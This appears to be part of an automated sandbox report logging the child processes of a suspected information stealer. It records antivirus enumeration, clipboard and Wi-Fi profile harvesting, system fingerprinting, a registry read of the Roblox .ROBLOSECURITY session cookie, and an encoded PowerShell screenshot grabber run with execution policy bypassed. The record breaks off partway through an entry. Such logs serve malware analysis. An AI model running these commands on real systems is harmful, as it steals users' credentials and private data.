Start time:	04:44:07
Start date:	15/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff7374d0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:44:07
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:44:08
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:44:08
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:44:08
Start date:	15/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7f6760000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:44:09
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:44:09
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:44:09
Start date:	15/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7532, Parent PID: 7448

General

Target ID:	30
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7f6760000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff7458c0000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff6a29c0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2300, Parent PID: 8072

General

Target ID:	40
Start time:	04:44:10
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	04:44:11
Start date:	15/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7f6760000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	04:44:11
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7704, Parent PID: 7620

General

Target ID:	43
Start time:	04:44:11
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7f6760000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7820, Parent PID: 1704

General

Target ID:	47
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline"
Imagebase:	0x7ff646230000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff6ed7b0000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	04:44:12
Start date:	15/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7f6760000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	04:44:13
Start date:	15/11/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D0C.tmp" "c:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP"
Imagebase:	0x7ff7915c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	04:44:13
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 6104, Parent PID: 4996

General

Target ID:	54
Start time:	04:44:13
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	04:44:13
Start date:	15/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff7f6760000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	04:44:14
Start date:	15/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff602d80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	04:44:14
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	04:44:14
Start date:	15/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
